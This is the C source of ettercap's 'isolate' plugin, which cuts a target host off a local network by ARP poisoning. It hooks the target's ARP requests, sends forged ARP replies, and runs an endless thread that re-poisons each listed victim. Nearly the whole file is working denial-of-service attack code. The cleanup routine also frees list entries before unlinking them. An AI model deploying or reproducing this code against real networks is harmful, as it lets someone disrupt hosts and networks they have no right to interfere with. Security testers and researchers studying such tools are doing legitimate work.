1 /*
2     isolate -- ettercap plugin -- Isolate an host from the lan
3 
4     Copyright (C) ALoR & NaGA
5 
6     This program is free software; you can redistribute it and/or modify
7     it under the terms of the GNU General Public License as published by
8     the Free Software Foundation; either version 2 of the License, or
9     (at your option) any later version.
10 
11     This program is distributed in the hope that it will be useful,
12     but WITHOUT ANY WARRANTY; without even the implied warranty of
13     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14     GNU General Public License for more details.
15 
16     You should have received a copy of the GNU General Public License
17     along with this program; if not, write to the Free Software
18     Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19 
20 */
21 
22 
23 #include <ec.h>                        /* required for global variables */
24 #include <ec_plugins.h>                /* required for plugin ops */
25 #include <ec_packet.h>
26 #include <ec_hook.h>
27 #include <ec_send.h>
28 #include <ec_threads.h>
29 #include <ec_sleep.h>
30 
31 /* globals */
32 
33 LIST_HEAD(, hosts_list) victims;
34 
35 /* protos */
36 int plugin_load(void *);
37 static int isolate_init(void *);
38 static int isolate_fini(void *);
39 
40 static void parse_arp(struct packet_object *po);
41 static int add_to_victims(struct packet_object *po);
42 EC_THREAD_FUNC(isolate);
43 
44 /* plugin operations */
45 
46 struct plugin_ops isolate_ops = {
47    /* ettercap version MUST be the global EC_VERSION */
48    .ettercap_version =  EC_VERSION,
49    /* the name of the plugin */
50    .name =              "isolate",
51     /* a short description of the plugin (max 50 chars) */
52    .info =              "Isolate an host from the lan",
53    /* the plugin version. */
54    .version =           "1.0",
55    /* activation function */
56    .init =              &isolate_init,
57    /* deactivation function */
58    .fini =              &isolate_fini,
59 };
60 
61 /**********************************************************/
62 
63 /* this function is called on plugin load */
plugin_load(void * handle)64 int plugin_load(void *handle)
65 {
66    return plugin_register(handle, &isolate_ops);
67 }
68 
69 /******************* STANDARD FUNCTIONS *******************/
70 
isolate_init(void * dummy)71 static int isolate_init(void *dummy)
72 {
73    struct ip_list *t;
74 
75    /* variable not used */
76    (void) dummy;
77 
78    /* sanity check */
79    if (LIST_EMPTY(&EC_GBL_TARGET1->ips) && LIST_EMPTY(&EC_GBL_TARGET1->ip6)) {
80       INSTANT_USER_MSG("isolate: please specify the TARGET host\n");
81       return PLUGIN_FINISHED;
82    }
83 
84    /*
85     * we'll use arp request to detect the hosts the victim
86     * is trying to contact.
87     */
88    hook_add(HOOK_PACKET_ARP_RQ, &parse_arp);
89 
90    /* spawn a thread to force arp of already cached hosts */
91    LIST_FOREACH(t, &EC_GBL_TARGET1->ips, next) {
92       ec_thread_new("isolate", "Isolate thread", &isolate, t);
93    }
94 
95    return PLUGIN_RUNNING;
96 }
97 
98 
isolate_fini(void * dummy)99 static int isolate_fini(void *dummy)
100 {
101    pthread_t pid;
102    struct hosts_list *h, *tmp;
103 
104    /* variable not used */
105    (void) dummy;
106 
107    /* remove the hook */
108    hook_del(HOOK_PACKET_ARP_RQ, &parse_arp);
109 
110    /* get those pids and kill 'em all */
111    while(!pthread_equal(pid = ec_thread_getpid("isolate"), ec_thread_getpid(NULL)))
112       ec_thread_destroy(pid);
113 
114    /* free the list */
115    LIST_FOREACH_SAFE(h, &victims, next, tmp) {
116       SAFE_FREE(h);
117       LIST_REMOVE(h, next);
118    }
119 
120    return PLUGIN_FINISHED;
121 }
122 
123 /*********************************************************/
124 
125 /* Parse the arp packets */
parse_arp(struct packet_object * po)126 static void parse_arp(struct packet_object *po)
127 {
128    char tmp[MAX_ASCII_ADDR_LEN];
129    struct ip_list *t, *h;
130    /*
131     * this is the mac address used to isolate the host.
132     * usually is the same as the victim, but can be an
133     * non-existent one.
134     * modify at your choice.
135     */
136    u_char *isolate_mac = po->L2.src;
137 
138    LIST_FOREACH(h, &EC_GBL_TARGET1->ips, next) {
139       /* process only arp requests from this host */
140       if (!ip_addr_cmp(&h->ip, &po->L3.src)) {
141          int good = 0;
142 
143          /* is good if target 2 is any or if it is in the target 2 list */
144          if(EC_GBL_TARGET2->all_ip) {
145             good = 1;
146          } else {
147             LIST_FOREACH(t, &EC_GBL_TARGET2->ips, next)
148                if (!ip_addr_cmp(&t->ip, &po->L3.dst))
149                   good = 1;
150          }
151 
152          /* add to the list if good */
153          if (good && add_to_victims(po) == E_SUCCESS) {
154             USER_MSG("isolate: %s added to the list\n", ip_addr_ntoa(&po->L3.dst, tmp));
155             /* send the fake reply */
156             send_arp(ARPOP_REPLY, &po->L3.dst, isolate_mac, &po->L3.src, po->L2.src);
157          }
158       }
159    }
160 }
161 
162 /*
163  * add a victim to the list for the active thread.
164  */
add_to_victims(struct packet_object * po)165 static int add_to_victims(struct packet_object *po)
166 {
167    struct hosts_list *h;
168 
169    /* search if it was already inserted in the list */
170    LIST_FOREACH(h, &victims, next)
171       if (!ip_addr_cmp(&h->ip, &po->L3.src))
172          return -E_NOTHANDLED;
173 
174    SAFE_CALLOC(h, 1, sizeof(struct hosts_list));
175 
176    memcpy(&h->ip, &po->L3.dst, sizeof(struct ip_addr));
177    /* insert in the list with the mac address of the requester */
178    memcpy(&h->mac, &po->L2.src, MEDIA_ADDR_LEN);
179 
180    LIST_INSERT_HEAD(&victims, h, next);
181 
182    return E_SUCCESS;
183 }
184 
185 /*
186  * the real isolate thread
187  */
EC_THREAD_FUNC(isolate)188 EC_THREAD_FUNC(isolate)
189 {
190    struct hosts_list *h;
191    struct ip_list *t;
192 
193    /* init the thread and wait for start up */
194    ec_thread_init();
195 
196    /* get the host to be isolated */
197    t = args;
198 
199    /* never ending loop */
200    LOOP {
201 
202       CANCELLATION_POINT();
203 
204       /* walk the lists and poison the victims */
205       LIST_FOREACH(h, &victims, next) {
206          /* send the fake arp message */
207          send_arp(ARPOP_REPLY, &h->ip, h->mac, &t->ip, h->mac);
208 
209          ec_usleep(MILLI2MICRO(EC_GBL_CONF->arp_storm_delay));
210       }
211 
212       /* sleep between two storms */
213       ec_usleep(SEC2MICRO(EC_GBL_CONF->arp_poison_warm_up * 3));
214    }
215 
216    return NULL;
217 }
218 
219 /* EOF */
220 
221 // vim:ts=3:expandtab
222 
223